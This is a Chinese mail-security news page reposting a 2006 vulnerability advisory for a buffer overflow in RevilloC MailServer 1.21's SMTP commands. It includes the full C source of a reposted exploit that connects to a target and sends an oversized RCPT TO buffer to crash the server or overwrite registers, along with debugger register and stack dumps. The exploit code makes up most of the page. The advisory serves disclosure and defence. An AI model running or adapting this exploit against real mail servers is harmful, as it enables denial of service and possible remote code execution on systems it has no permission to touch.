首页 | 邮件资讯 | 技术教程 | 解决方案 | 产品评测 | 邮件人才 | 邮件博客 | 邮件系统论坛 | 软件下载 | 邮件周刊 | 热点专题 | 工具
网络技术 | 操作系统 | 邮件系统 | 客户端 | 电子邮箱 | 反垃圾邮件 | 邮件安全 | 邮件营销 | 移动电邮 | 邮件软件下载 | 电子书下载

邮件网络安全

系统安全 | 邮件软件漏洞 | 安全基础 | 数字签名 | 攻防技术 | 病毒公告 | 病毒查杀 | ISA Server | 防火墙 |
首页 > 邮件网络安全 > 邮件软件漏洞 > RevilloC MailServerSMTP请求缓冲区溢出漏洞 > 正文
金笛邮件系统

RevilloC MailServerSMTP请求缓冲区溢出漏洞

出处:绿盟科技 作者:绿盟科技 时间:2006-10-27 16:14:00
发布日期:2006-10-24
更新日期:2006-10-27

受影响系统:
RevilloC MailServer 1.21
描述:
BUGTRAQ  ID: 20709

RevilloC MailServer是一款免费的SMTP和POP3邮件服务器。

RevilloC MailServer在处理带有超长畸形参数的命令时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。

如果通过“MAIL FOR:”、“RCPT TO:”或其他一些命令向服务器发送超长请求(4080字节)的话,就能导致耗尽99%的CPU使用率,计算机会变得完全没有响应;此外,发送4088字节的请求会触发堆溢出,用畸形报文的值覆盖EDI、EBX、EAX和ECX,导致执行任意指令。

<*来源:Greg Linares (glinares.code@gmail.com
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
=============================================================
0-day RCPT TO DoS Exploit for RevilloC SMTP version 1.x
=============================================================
Sending a large buffer  (4080 bytes) in conjunction with the "MAIL
FOR:" or "RCPT TO:"  and other commands can cause a denial of service
attack causing the application to crash, consume 99% CPU usage until
the application is terminated or cause the host computer to stop
responding entirely requiring a reboot.  Also a heap overflow attack
vector is possible, sending a buffer greater than 4088 bytes causes
EDI, EBX, and EAX and ECX to be overwritten with values of the
malformed packet.

If you have the time to turn this into an Exploit go for it.  Just
credit me thats all i ask.  I wish i had the time but my full time
job of coding silly 200,000+ line accounting applications is a hand full.


The buffer overflow happens here:
7C91B3FB   . 8B0B           MOV ECX,DWORD PTR DS:[EBX]
7C91B3FD   . 3B4F 04        CMP ECX,DWORD PTR DS:[EDI+4]

EAX 001669F0
ECX 00004141  << points to a section of the buffer
EDX 00AD0030
EBX 88888888 << can be controlled by the attacker
ESP 0012F2D0
EBP 0012F4EC
ESI 001669E8
EDI 77777777 << can be controlled by the attacker
EIP 7C91B3FB ntdll.7C91B3FB
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
DR0 00000000
DR1 00000000
DR2 00000000
DR3 00000000
DR6 00000000
DR7 00000000


and here is the stack
0012F2F4  /0012F334
0012F2F8  |4CDE2A15  RETURN to IDPDX32.4CDE2A15 from <JMP.&IDAPI32.OsMuxUnlock>
0012F2FC  |010587BC
0012F300  |4BE5274A  IDAPI32.4BE5274A
0012F304  |00000001
0012F308  |77777777
0012F30C  |0012F334
0012F310  |00000000
0012F314  |00120000
0012F318  |00000000
0012F31C  |0012F300
0012F320  |4CDE2877  RETURN to IDPDX32.4CDE2877 from IDPDX32.4CE163F4
0012F324  |0012FC18
0012F328  |FFFFFFFF
0012F32C  |01065DBC
0012F330  |00000000
0012F334  ]0012F34C
0012F338  |4BE4095E  RETURN to IDAPI32.4BE4095E from IDAPI32.4BE41D04
0012F33C  |0012F7D8
0012F340  |0000002D
0012F344  |6BDE97A6
0012F348  |0012F7D8
0012F34C  \0012F7B8

and on closer inspection it appears its trying to turn the parameter
into a lowercase format.  (This was when the RCPT TO: command was overflowed)

001659F0  6C 61 64 64 72 65 73 73 00 6C 6F 77 65 72 00 41  laddress.lower.A
00165A00  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00165A10  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
...... huge buffer....
001669E0  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
001669F0  77 77 77 77 88 88 88 88 00 00 00 00 00 00 00 00  wwww............


This was quickly compiled in LCC-Win32 (Free C++ compiler and IDE)
- Greg Linares
Questions/Comments/Etc --> GLinares.code [at] gmail [dot] com
*/



#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>

#pragma comment(lib,"wsock32.lib")

int main(int argc, char *argv[])
{
static char overflow[65000];
static char buff2[65000];
WSADATA wsaData;


struct hostent *hp;
struct sockaddr_in sockin;
char buf[300], *check;
int sockfd, bytes;
int i;
char *hostname;
unsigned short port;

if (argc <= 1)
   {
      printf("\n===========================================================\n");
      printf("0-day RevilloC SMTP Mail Server Suite <= 1.21 RCPT TO: DoS\n");
      printf("Exploits the RCPT TO parameter (MAIL FROM can be exploited too)\n");
      printf("Buffer > 4080 causes the app to crash - heap based overflow\n");
      printf("Exploit and Discovered By: Greg Linares (glinares.code [at ] gmail [dot] com)\n");
      printf("==============================================================\n");
      printf("Usage: %s [hostname] [port]\n", argv[0]);
      printf("default port is 25 \n");
      exit(0);
   }


hostname = argv[1];
if (argv[2]) port = atoi(argv[2]);
else port = atoi("25");

if (WSAStartup(MAKEWORD(1, 1), &wsaData) < 0)
   {
      fprintf(stderr, "Error setting up with WinSock v1.1\n");
      exit(-1);
   }


   hp = gethostbyname(hostname);
   if (hp == NULL)
   {
      printf("ERROR: Uknown host %s\n", hostname);
      printf("%s",hostname);
      exit(-1);
   }

   sockin.sin_family = hp->h_addrtype;
   sockin.sin_port = htons(port);
   sockin.sin_addr = *((struct in_addr *)hp->h_addr);

   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR)
   {
      printf("ERROR: Socket Error\n");
      exit(-1);
   }

   if ((connect(sockfd, (struct sockaddr *) &sockin,
                sizeof(sockin))) == SOCKET_ERROR)
   {
      printf("ERROR: Connect Error\n");
      closesocket(sockfd);
      WSACleanup();
      exit(-1);
   }

   printf("Connected to [%s] on port [%d], sending overflow....\n",
          hostname, port);


   if ((bytes = recv(sockfd, buf, 300, 0)) == SOCKET_ERROR)
   {
      printf("ERROR: Recv Error\n");
      closesocket(sockfd);
      WSACleanup();
      exit(1);
   }

   /* wait for SMTP service welcome*/
   buf[bytes] = '\0';
   check = strstr(buf, "2");
   if (check == NULL)
   {
      printf("ERROR: NO  response from SMTP service\n");
      closesocket(sockfd);
      WSACleanup();
      exit(-1);
   }

   static char Exp1[65000];
   memset(Exp1, 0, 4096);
   char Exp[] = "RCPT TO: ";
   char tail[] = "@a.com>\r\n";
   char A[] = "A";
   memset(overflow, 0, 65000);
   memset(buff2, 0, 100);
   for (i=0; i<100; i++)
    {
       strcat(buff2, "A");
    }

   char EHLO[] = "EHLO \r\n";
   char MF[] = "MAIL FROM: <HI@";
    strcat(overflow, MF);
    strcat(overflow, buff2);
    strcat(overflow, tail);



   send(sockfd, EHLO, strlen(EHLO), 0);
    Sleep(500);
    send(sockfd, overflow, strlen(overflow),0);
    Sleep(1000);
    strcat(Exp1, Exp);
    for (i=0; i<4096; i++){
        strcat(Exp1, A);
    }
    strcat(Exp1, "\xDE\xAD\xBA\xBE");
    strcat(Exp1, tail);

    printf("%s", Exp1);
    send(sockfd, Exp1, strlen(Exp1),0);
    Sleep(2000);
    printf("Overflow Packet Sent Successfully...\n");
    closesocket(sockfd);
   WSACleanup();
}

// milw0rm.com [2006-10-25]

建议:
厂商补丁:

RevilloC
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.revilloc.com/mailserver/default.asp
相关文章 热门文章
  • E-Post邮件服务器远程信息泄露漏洞
  • Novell GroupWise mailto URI处理器缓冲区溢出漏洞
  • 美国政府责任署调查发现政府邮件管理漏洞
  • DBMail空LDAP口令绕过认证漏洞
  • Mozilla Firefox document.write()拒绝服务漏洞
  • IBM Lotus Expeditor URI处理器命令执行漏洞
  • 安全漏洞存在三年 微软至今未补
  • SurgeMail IMAP服务LSUB命令远程栈溢出漏洞
  • Alt-N MDaemon IMAP 服务器FETCH 命令栈溢出漏洞
  • Mozilla Thunderbird MIME外部主体堆溢出漏洞
  • SurgeMail CGI可执行程序远程溢出漏洞
  • SurgeMail Page命令远程格式串处理漏洞
  • Exchange Server 2003 中的弱点会导致权限提升
  • 更安全稳定!快下载微软ISA 2000 SP2
  • MDaemon 7.2发现权限提升漏洞
  • Exchange 2003 Server发布新补丁KB883543
  • 微软发布关于Exchange漏洞紧急公告
  • MS05-021:Exchange Server漏洞远程执行代码
  • WebAdmin 3.0.2 跨站脚本、HTML注入安全漏洞
  • Imail Server IMAP EXAMINE命令缓冲区溢出漏洞
  • Open WebMail Email存在头字段HTML代码注入漏洞
  • 微软发布关于Exchange 5.5 漏洞更新公告
  • IMail 8.13远程DELETE命令缓冲区溢出漏洞
  • MS04-035:SMTP中安全漏洞可能允许执行远程代码
  • 发表评论
     姓名: Email: 查看评论
    * 请各位网友遵纪守法并注意语言文明 *《互联网电子公告服务管理规定》 *《全国人大常委会关于维护互联网安全的规定》
    自由广告区
     
     
    WINMAIL 让您轻松架设邮件系统
    eqmail
    最新软件下载
  • IMail Server 10
  • Foxmail6.5 Beta2
  • Kerio MailServer 6.5.0 Patch 1 Linu..
  • Kerio MailServer 6.5.0 Patch 1 正式版
  • Exchange Server服务器监视和排错介绍
  • Advanced Exchange Recovery V1.1.0.0..
  • 使用 Virtual Machine Manager 2007 ..
  • 如何利用 DPM 2007 数据备援技术达成 S..
  • 如何利用 DPM 2007 数据备援技术达成 A..
  • 全新资料备援方案 DPM 2007 技术导览
  • 如何使用 SCCM 完成企业 IT 环境的标..
  • 如何在企业环境中建置 SCCM 2007
  • 今日邮件技术文章
  • Coremail XT在中小企事业的应用
  • 赛门铁克公布2008年5月份垃圾邮件现状..
  • 湖南移动电子邮件系统成功案例
  • 网易邮箱增添中英文互译功能
  • 微软延长Outlook Express使用期限
  • Lotus Notes基础知识
  • Mimosa推出文件归档系统工具NearPoint ..
  • 在Vista中导入 Outlook Express 邮件
  • Outlook邮件整理插件Xobni发布
  • 十大步骤提高Domino邮件服务器性能
  • IBM发布最新软件Lotus Quickr 8.1
  • 供应商建言白宫电子邮件管理难题
  • 最新专题
  • Sendmail 邮件系统配置
  • 组建Exchange 2003邮件系统
  • Windows Server 2008 专题
  • ORF 反垃圾邮件系统
  • Exchange Server 2007 专题
  • ISA Server 2006 教程专题
  • Windows Vista 技术专题
  • “黑莓”(BlackBerry)专题
  • 移动电子邮件专题
  • Apache James 专题
  • IMail Server 操作指南
  • ISA Server 2004 使用专题
  • 分类导航
    邮件新闻资讯:
    IT业界 | 邮件服务器 | 邮件趣闻 | 移动电邮
    电子邮箱 | 反垃圾邮件|邮件客户端|网络安全
    行业数据 | 邮件人物 | 网站公告 | 行业法规
    网络技术:
    邮件原理 | 网络协议 | 网络管理 | 传输介质
    线路接入 | 路由接口 | 邮件存储 | 华为3Com
    CISCO技术 | 网络与服务器硬件
    操作系统:
    Windows 9X | Linux&Uinx | Windows NT
    Windows Vista | FreeBSD | 其它操作系统
    邮件服务器:
    程序与开发 | Exchange | Qmail | Postfix
    Sendmail | MDaemon | Domino | Foxmail
    KerioMail | JavaMail | Winwebmail |James
    Merak&VisNetic | CMailServer | WinMail
    金笛邮件系统 | 其它 |
    反垃圾邮件:
    综述| 客户端反垃圾邮件|服务器端反垃圾邮件
    邮件客户端软件:
    Outlook | Foxmail | DreamMail| KooMail
    The bat | 雷鸟 | Eudora |Becky! |Pegasus
    IncrediMail |其它
    电子邮箱: 个人邮箱 | 企业邮箱 |Gmail
    移动电子邮件:服务器 | 客户端 | 技术前沿
    邮件网络安全:
    软件漏洞 | 安全知识 | 病毒公告 |防火墙
    攻防技术 | 病毒查杀| ISA | 数字签名
    邮件营销:
    Email营销 | 网络营销 | 营销技巧 |营销案例
    邮件人才:招聘 | 职场 | 培训 | 指南 | 职场
    解决方案:
    邮件系统|反垃圾邮件 |安全 |移动电邮 |招标
    产品评测:
    邮件系统 |反垃圾邮件 |邮箱 |安全 |客户端
    广告联系 | 合作联系 | 关于我们 | 联系我们 | 繁體中文
    版权所有:邮件技术资讯网©2003-2007 www.5dmail.net, All Rights Reserved
    www.5Dmail.net Web Team   粤ICP备05009143号